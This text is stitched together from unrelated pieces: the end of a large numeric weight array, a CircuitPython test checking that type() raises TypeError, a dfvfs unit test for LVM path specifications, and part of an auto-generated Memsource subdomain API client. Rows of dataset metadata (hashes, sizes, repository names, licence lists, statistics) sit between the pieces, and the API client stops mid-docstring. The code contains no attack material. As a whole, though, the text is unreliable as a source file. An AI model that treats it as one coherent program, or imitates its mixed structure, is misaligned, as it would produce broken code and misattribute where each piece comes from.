[ 0. , 0. , 0. , 0. , 0. , -0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , -0.06900656, 0. , 0. ],
[ 0. , 0. , 0. , 0.19518001, 0. , 0. , 0. ],
[ 0. , 0. , -0.06900656, 0. , 0. , 0. , 0. ],
[ 0. , -0.21821789, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.23904572, 0. , 0. ],
[ 0. , 0. , 0. , -0.06900656, 0. , 0. , 0. ],
[ 0. , 0. , -0.14638501, 0. , 0. , 0. , 0. ],
[ 0. , 0.18898224, 0. , 0. , 0. , 0. , 0. ],
[ 0.15430335, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.21821789, 0. , 0. , 0. ],
[ 0. , 0. , 0.18898224, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[-0.24397502, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.15430335, 0. , 0. , 0. , 0. ],
[ 0. , -0.24397502, 0. , 0. , 0. , 0. , 0. ],
[ 0.24397502, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.37796447, 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.37796447, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.37796447, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.37796447, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.37796447, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.37796447, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0.37796447, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.18898224, 0. , 0. ],
[ 0. , 0. , 0. , -0.32732684, 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.24397502, 0. , 0. ],
[ 0. , 0. , 0. , 0.21821789, 0. , 0. , 0. ],
[ 0. , 0. , 0.18898224, 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.26726124, 0. , 0. ],
[ 0. , 0. , 0. , -0.10910895, 0. , 0. , 0. ],
[ 0. , 0. , -0.24397502, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.26726124, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.26726124, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.24397502, 0. , 0. ],
[ 0. , 0. , 0. , 0.10910895, 0. , 0. , 0. ],
[ 0. , 0. , -0.26726124, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , -0.18898224, 0. , 0. ],
[ 0. , 0. , 0. , -0.21821789, 0. , 0. , 0. ],
[ 0. , 0. , 0.24397502, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0.32732684, 0. , 0. , 0. ],
[ 0. , 0. , -0.18898224, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.15430335, 0. ],
[ 0. , 0. , 0. , 0. , -0.24397502, 0. , 0. ],
[ 0. , 0. , 0. , 0.24397502, 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , 0.18898224, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.24397502, 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.23904572, 0. ],
[ 0. , 0. , 0. , 0. , -0.06900656, 0. , 0. ],
[ 0. , 0. , 0. , -0.14638501, 0. , 0. , 0. ],
[ 0. , 0. , 0.18898224, 0. , 0. , 0. , 0. ],
[ 0. , 0.15430335, 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , -0.06900656, 0. , 0. ],
[ 0. , 0. , 0. , 0.19518001, 0. , 0. , 0. ],
[ 0. , 0. , -0.06900656, 0. , 0. , 0. , 0. ],
[ 0. , -0.21821789, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0.15430335, 0. ],
[ 0. , 0. , 0. , 0. , 0.18898224, 0. , 0. ],
[ 0. , 0. , 0. , -0.14638501, 0. , 0. , 0. ],
[ 0. , 0. , -0.06900656, 0. , 0. , 0. , 0. ],
[ 0. , 0.23904572, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , -0.24397502, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.18898224, 0. , 0. , 0. , 0. ],
[ 0. , -0.21821789, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0.24397502, 0. , 0. , 0. ],
[ 0. , 0. , -0.24397502, 0. , 0. , 0. , 0. ],
[ 0. , 0.15430335, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0.15430335],
[ 0. , 0. , 0. , 0. , 0. , -0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , 0.21821789, 0. , 0. ],
[ 0. , 0. , 0. , -0.15430335, 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , -0.21821789],
[ 0. , 0. , 0. , 0. , 0. , 0.15430335, 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.15430335, 0. , 0. , 0. ],
[ 0. , 0. , 0.21821789, 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0.21821789],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.15430335, 0. , 0. ],
[ 0. , 0. , 0. , 0.15430335, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , -0.21821789, 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , -0.15430335],
[ 0. , 0. , 0. , 0. , 0. , -0.15430335, 0. ],
[ 0. , 0. , 0. , 0. , 0.15430335, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.15430335, 0. , 0. , 0. , 0. ],
[ 0. , 0.15430335, 0. , 0. , 0. , 0. , 0. ],
[ 0.15430335, 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.15430335, 0. , 0. , 0. ],
[ 0. , 0. , 0.15430335, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[-0.21821789, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , -0.21821789, 0. , 0. ],
[ 0. , 0. , 0. , 0.15430335, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , -0.15430335, 0. , 0. , 0. , 0. , 0. ],
[ 0.21821789, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0.15430335, 0. , 0. , 0. ],
[ 0. , 0. , -0.21821789, 0. , 0. , 0. , 0. ],
[ 0. , 0.21821789, 0. , 0. , 0. , 0. , 0. ],
[-0.15430335, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]]]])
ws = {1: w1, 2:w2, 3:w3, 4:w4}
| 40.22742
| 112
| 0.163304
| 26,250
| 186,615
| 1.16019
| 0.00259
| 1.639074
| 2.401379
| 3.126055
| 0.991463
| 0.988672
| 0.988672
| 0.988672
| 0.988376
| 0.988376
| 0
| 0.330398
| 0.511299
| 186,615
| 4,639
| 113
| 40.22742
| 0.003542
| 0.002883
| 0
| 0.953165
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.000257
| 0
| 0.000257
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 15
|
71f7906923b17c3284fcb1a2e09309575ff1b3fa
| 268
|
py
|
Python
|
tests/basics/types3.py
|
MakeItZone/circuitpython
|
7f803c0b51c333210ed267502422ed7bb28b9be7
|
[
"Unlicense",
"BSD-3-Clause",
"MIT-0",
"MIT"
] | 3,010
|
2017-01-07T23:43:33.000Z
|
2022-03-31T06:02:59.000Z
|
tests/basics/types3.py
|
MakeItZone/circuitpython
|
7f803c0b51c333210ed267502422ed7bb28b9be7
|
[
"Unlicense",
"BSD-3-Clause",
"MIT-0",
"MIT"
] | 4,478
|
2017-01-06T01:35:02.000Z
|
2022-03-31T23:03:27.000Z
|
tests/basics/types3.py
|
MakeItZone/circuitpython
|
7f803c0b51c333210ed267502422ed7bb28b9be7
|
[
"Unlicense",
"BSD-3-Clause",
"MIT-0",
"MIT"
] | 1,149
|
2017-01-09T00:35:23.000Z
|
2022-03-31T21:24:29.000Z
|
try:
type('abc', None, None)
except TypeError:
print(True)
else:
print(False)
try:
type('abc', (), None)
except TypeError:
print(True)
else:
print(False)
try:
type('abc', (1,), {})
except TypeError:
print(True)
else:
print(False)
| 12.761905
| 27
| 0.585821
| 34
| 268
| 4.617647
| 0.323529
| 0.133758
| 0.191083
| 0.458599
| 0.904459
| 0.904459
| 0.904459
| 0.66242
| 0.66242
| 0.66242
| 0
| 0.004926
| 0.242537
| 268
| 20
| 28
| 13.4
| 0.768473
| 0
| 0
| 0.833333
| 0
| 0
| 0.033582
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.333333
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
9c1d5af45424a8d3d0f2082153697b422d15ffb0
| 2,504
|
py
|
Python
|
tests/path/lvm_path_spec.py
|
Acidburn0zzz/dfvfs
|
3db8c4e520e3e7527faffeea8f52187c861fa3b6
|
[
"Apache-2.0"
] | 1
|
2019-08-28T23:47:16.000Z
|
2019-08-28T23:47:16.000Z
|
tests/path/lvm_path_spec.py
|
Acidburn0zzz/dfvfs
|
3db8c4e520e3e7527faffeea8f52187c861fa3b6
|
[
"Apache-2.0"
] | null | null | null |
tests/path/lvm_path_spec.py
|
Acidburn0zzz/dfvfs
|
3db8c4e520e3e7527faffeea8f52187c861fa3b6
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Tests for the LVM path specification implementation."""
from __future__ import unicode_literals
import unittest
from dfvfs.path import lvm_path_spec
from tests.path import test_lib
class LVMPathSpecTest(test_lib.PathSpecTestCase):
"""Tests for the LVM path specification implementation."""
def testInitialize(self):
"""Tests the path specification initialization."""
path_spec = lvm_path_spec.LVMPathSpec(parent=self._path_spec)
self.assertIsNotNone(path_spec)
path_spec = lvm_path_spec.LVMPathSpec(
location='/lvm2', parent=self._path_spec)
self.assertIsNotNone(path_spec)
path_spec = lvm_path_spec.LVMPathSpec(
parent=self._path_spec, volume_index=1)
self.assertIsNotNone(path_spec)
path_spec = lvm_path_spec.LVMPathSpec(
location='/lvm2', parent=self._path_spec, volume_index=1)
self.assertIsNotNone(path_spec)
with self.assertRaises(ValueError):
lvm_path_spec.LVMPathSpec(parent=None)
with self.assertRaises(ValueError):
lvm_path_spec.LVMPathSpec(
parent=self._path_spec, bogus='BOGUS')
def testComparable(self):
"""Tests the path specification comparable property."""
path_spec = lvm_path_spec.LVMPathSpec(parent=self._path_spec)
self.assertIsNotNone(path_spec)
expected_comparable = '\n'.join([
'type: TEST',
'type: LVM',
''])
self.assertEqual(path_spec.comparable, expected_comparable)
path_spec = lvm_path_spec.LVMPathSpec(
location='/lvm2', parent=self._path_spec)
self.assertIsNotNone(path_spec)
expected_comparable = '\n'.join([
'type: TEST',
'type: LVM, location: /lvm2',
''])
self.assertEqual(path_spec.comparable, expected_comparable)
path_spec = lvm_path_spec.LVMPathSpec(
parent=self._path_spec, volume_index=1)
self.assertIsNotNone(path_spec)
expected_comparable = '\n'.join([
'type: TEST',
'type: LVM, volume index: 1',
''])
self.assertEqual(path_spec.comparable, expected_comparable)
path_spec = lvm_path_spec.LVMPathSpec(
location='/lvm2', parent=self._path_spec, volume_index=1)
self.assertIsNotNone(path_spec)
expected_comparable = '\n'.join([
'type: TEST',
'type: LVM, location: /lvm2, volume index: 1',
''])
self.assertEqual(path_spec.comparable, expected_comparable)
if __name__ == '__main__':
unittest.main()
| 25.814433
| 65
| 0.692492
| 294
| 2,504
| 5.602041
| 0.187075
| 0.194293
| 0.073467
| 0.133576
| 0.835458
| 0.800243
| 0.800243
| 0.745598
| 0.738312
| 0.667881
| 0
| 0.006426
| 0.192093
| 2,504
| 96
| 66
| 26.083333
| 0.807711
| 0.097045
| 0
| 0.714286
| 0
| 0
| 0.082626
| 0
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0.035714
| false
| 0
| 0.071429
| 0
| 0.125
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9c2ca988722691ce331da2b7ff1a47407a606f8d
| 19,879
|
py
|
Python
|
memsource_cli/api/sub_domain_api.py
|
unofficial-memsource/memsource-cli-client
|
a6639506b74e95476da87f4375953448b76ea90c
|
[
"Apache-2.0"
] | 16
|
2019-09-25T00:20:38.000Z
|
2021-05-04T05:56:10.000Z
|
memsource_cli/api/sub_domain_api.py
|
zerodayz/memsource-cli-client
|
c2574f1467539a49e6637c874e88d75c7ef789b3
|
[
"Apache-2.0"
] | 26
|
2019-09-30T14:00:03.000Z
|
2021-05-12T11:15:18.000Z
|
memsource_cli/api/sub_domain_api.py
|
zerodayz/memsource-cli-client
|
c2574f1467539a49e6637c874e88d75c7ef789b3
|
[
"Apache-2.0"
] | 1
|
2021-05-24T16:19:14.000Z
|
2021-05-24T16:19:14.000Z
|
# coding: utf-8
"""
Memsource REST API
Welcome to Memsource's API documentation. To view our legacy APIs please [visit our documentation](https://wiki.memsource.com/wiki/Memsource_API) and for more information about our new APIs, [visit our blog](https://www.memsource.com/blog/2017/10/24/introducing-rest-apis-qa-with-the-memsource-api-team/). If you have any questions, please contact [Memsource Support](<mailto:support@memsource.com>). # noqa: E501
OpenAPI spec version: Latest
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from memsource_cli.api_client import ApiClient
class SubDomainApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_sub_domain(self, **kwargs): # noqa: E501
"""Create subdomain # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_sub_domain(async_req=True)
>>> result = thread.get()
:param async_req bool
:param SubDomainEditDto body:
:return: SubDomainDto
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_sub_domain_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.create_sub_domain_with_http_info(**kwargs) # noqa: E501
return data
def create_sub_domain_with_http_info(self, **kwargs): # noqa: E501
"""Create subdomain # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_sub_domain_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param SubDomainEditDto body:
:return: SubDomainDto
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_sub_domain" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/api2/v1/subDomains', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SubDomainDto', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_sub_domain(self, sub_domain_id, **kwargs): # noqa: E501
"""Delete subdomain # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_sub_domain(sub_domain_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int sub_domain_id: (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_sub_domain_with_http_info(sub_domain_id, **kwargs) # noqa: E501
else:
(data) = self.delete_sub_domain_with_http_info(sub_domain_id, **kwargs) # noqa: E501
return data
def delete_sub_domain_with_http_info(self, sub_domain_id, **kwargs): # noqa: E501
"""Delete subdomain # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_sub_domain_with_http_info(sub_domain_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int sub_domain_id: (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['sub_domain_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_sub_domain" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'sub_domain_id' is set
if ('sub_domain_id' not in params or
params['sub_domain_id'] is None):
raise ValueError("Missing the required parameter `sub_domain_id` when calling `delete_sub_domain`") # noqa: E501
collection_formats = {}
path_params = {}
if 'sub_domain_id' in params:
path_params['subDomainId'] = params['sub_domain_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/api2/v1/subDomains/{subDomainId}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_sub_domain(self, sub_domain_id, **kwargs): # noqa: E501
"""Get subdomain # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_sub_domain(sub_domain_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int sub_domain_id: (required)
:return: SubDomainDto
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_sub_domain_with_http_info(sub_domain_id, **kwargs) # noqa: E501
else:
(data) = self.get_sub_domain_with_http_info(sub_domain_id, **kwargs) # noqa: E501
return data
def get_sub_domain_with_http_info(self, sub_domain_id, **kwargs): # noqa: E501
"""Get subdomain # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_sub_domain_with_http_info(sub_domain_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int sub_domain_id: (required)
:return: SubDomainDto
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['sub_domain_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_sub_domain" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'sub_domain_id' is set
if ('sub_domain_id' not in params or
params['sub_domain_id'] is None):
raise ValueError("Missing the required parameter `sub_domain_id` when calling `get_sub_domain`") # noqa: E501
collection_formats = {}
path_params = {}
if 'sub_domain_id' in params:
path_params['subDomainId'] = params['sub_domain_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/api2/v1/subDomains/{subDomainId}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SubDomainDto', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_sub_domains(self, **kwargs): # noqa: E501
"""List subdomains # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_sub_domains(async_req=True)
>>> result = thread.get()
:param async_req bool
:param int page_number: Page number, starting with 0, default 0
